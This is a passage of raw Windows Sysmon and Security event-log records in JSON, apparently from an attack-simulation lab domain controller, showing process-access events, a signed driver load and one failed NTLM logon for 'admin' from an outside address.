C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.640","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":6,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":6,"OpcodeValue":0,"RecordNumber":1349,"ProcessID":2736,"ThreadID":3284,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Driver loaded:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:37.391\r\nImageLoaded: C:\\Windows\\System32\\drivers\\xennet.sys\r\nHashes: MD5=7E6757CF81A305710B036475BCEDBC30,SHA256=9A5D7EAC527B6CDEC891C4A5C49FAF8599A1714078960DB87A7D72B0888A8987,IMPHASH=73F39C491797C6F3DFFBBE92FB638F34\r\nSigned: true\r\nSignature: Amazon Web Services, Inc.\r\nSignatureStatus: Valid","Category":"Driver loaded (rule: DriverLoad)","Opcode":"Info","UtcTime":"2020-08-07 11:49:37.391","ImageLoaded":"C:\\Windows\\System32\\drivers\\xennet.sys","Hashes":"MD5=7E6757CF81A305710B036475BCEDBC30,SHA256=9A5D7EAC527B6CDEC891C4A5C49FAF8599A1714078960DB87A7D72B0888A8987,IMPHASH=73F39C491797C6F3DFFBBE92FB638F34","Signed":"true","Signature":"Amazon Web Services, Inc.","SignatureStatus":"Valid","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221477,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadmin\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t58675\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"admin","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"58675","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1350,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.716\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 1152\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00104D140200}\r\nTargetProcessId: 2824\r\nTargetImage: C:\\Program Files\\Amazon\\SSM\\amazon-ssm-agent.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.716","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"1152","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00104D140200}","TargetProcessId":"2824","TargetImage":"C:\\Program Files\\Amazon\\SSM\\amazon-ssm-agent.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1351,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.718\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.718","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1352,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.718\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.718","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1353,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.718\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.718","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1354,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.719\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.719","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1355,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.719\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.719","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1356,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 